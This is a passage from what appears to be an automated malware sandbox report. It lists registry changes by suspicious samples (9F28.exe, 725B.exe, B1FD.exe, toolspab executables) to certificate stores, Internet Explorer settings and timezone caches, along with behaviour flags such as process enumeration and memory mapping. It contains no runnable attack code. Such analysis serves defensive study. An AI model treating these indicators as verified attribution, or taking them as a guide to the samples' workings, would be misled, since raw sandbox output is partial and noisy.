\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e136b4311a76a24194ef97ab2534c82c0000000002000000000010660000000100002000000068cf27ceddf5bf1aec296715e195516d3f034bd9cf3b73185ea71cbdea74e9db000000000e80000000020000200000006ad7092dc4e55ff0bb70b37e5f40e60aeaf4aaf79f97ffb3aebd4f916359e21020000000b3e1a12b613b2dc7e6f55e5fcd2f0b7667ae5d1693fd579d1ab19fb4da2a479e40000000f57018e59d20c1fb69a9d17c294f3f772de73708c8cc393ba7876ccd37da8d381a077471945bd071b5ceb650ae5b8f5fa63150e0feb8111a188a5ea265f9c947 iexplore.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 9F28.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" 9F28.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 9F28.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 9F28.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 725B.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 725B.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 B1FD.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e B1FD.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 725B.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde B1FD.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 B1FD.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 9F28.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 880 toolspab1.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2040 toolspab2 (2).exe 2040 toolspab2 (2).exe 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 1208 Process not Found 2608 iexplore.exe -
Suspicious behavior: MapViewOfSection 64 IoCs
